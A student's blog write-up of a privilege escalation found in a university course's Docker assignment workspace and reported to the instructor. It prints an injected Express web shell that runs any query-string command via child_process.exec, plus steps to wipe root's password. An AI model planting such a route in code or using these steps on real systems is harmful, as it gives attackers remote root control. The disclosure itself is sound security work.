Getting root access on cpsc436s assignment workspace

tl;dr

I found a privilegee escalation vulnerability in one of my course's assignment.

I've reported the vulnerability to our instructor, and he fixed it. yaayy.

This article will be about how I found this vulnerability and how I utilized it to get a root shell.

Intro

This term, I took a new course - CPSC 436S (Topic In Cybersecurity) taught by Prof. Robert Xiao.

Considering it is the first time this course is being taught and the nature of cybersecurity. I was expecting that there would be lot of vulnerability I'm able to play around with and use in the assignments.

Here we go. One question in module 4 actually has a vulnerability.

Adventure

Investigating the bug

Our questions are hosted on PrairieLearn workspace. In short, the workspace is just a Docker container that contains the question and its setup.

I got stuck when doing the last question about DOSing a server with a rate limiter. (Later, I found it is because I'm sending requests from my computer, but PrairieLearn itself has a rate limiter, so making requests outside the container will be blocked by PrairieLearn.)

So, instead of trying to figure out what causes the problem, I decided to play around with the container itself.

According to the question description, the container hosts an HTTP service on localhost:80.

So. i decided to run a ps command to see what processes are running.

Screenshot_20240203_211543

huh, seems like there are some interesting processes we can look at.

Although we cannot read those files, after doing a ls -al on those directories, I found that all of those files were owned by the current user, which means I can change the permissions of those files to whatever I want using chmod.

image-20240210033553234

After changing their permissions and dumping file content, I figured out how these services are set up.

Firstly, the current user cpsc executes server.js.

Then in server.js, it will generate a new flag file by calling

1
child_process.exec('sudo /.init-flag.js');

(The sudoers config file specifies cpsc can execute /.init-flag.js with root privileges without a password, so it works.)

Finally /.init-flag.js will launch another http service target.js with root privilege.

Now all services are up.

Testing my theory

wait minute. /.init-flag.js will launch a js file, which is controlled by us???

Does that mean if we can inject some code before target.js is loaded, we are basically getting an rce?

To test my idea, I first test if our file will be kept after container is restarted.

I put some random character in a file called a.txt. then I reboot the container.

Screenshot_20240210_035350

Nice. they actually keep my modifications.

image-20240210035450884

now its time to inject some malicious code into target.js

Getting the rce

since target.js uses express to host a http server. I inject the following code into target.js to get an rce.

1
2
3
4
5
6
7
8
9
10
11
12
13
app.get('/cmd', async (req, res) => {
const command = req.query.cmd;

child_process.exec(command, (error, stdout, stderr) => {
if (error) {
return res.send(`Error: ${error.message}`);
}
if (stderr) {
return res.send(`Stderr: ${stderr}`);
}
res.send(`Output: ${stdout}`);
});
});

I restarted the server and tried to run a command.

img

Playing around with root privileges

After getting an RCE with root access, I can simply remove the password of root using passwd -d root and switch to root in the webshell

With this root access, I can do a lot of interesting things, for example, change the answer to a custom string.

img

Conclusion

This bug is mainly caused by misconfiguration in permission control. Which leads to privilege escalation.

owo ovo uwu

Some thought

even experienced people can make mistake or have flaws when writing codes.

So testing is very important.

put some chatgpt generated text for conclusion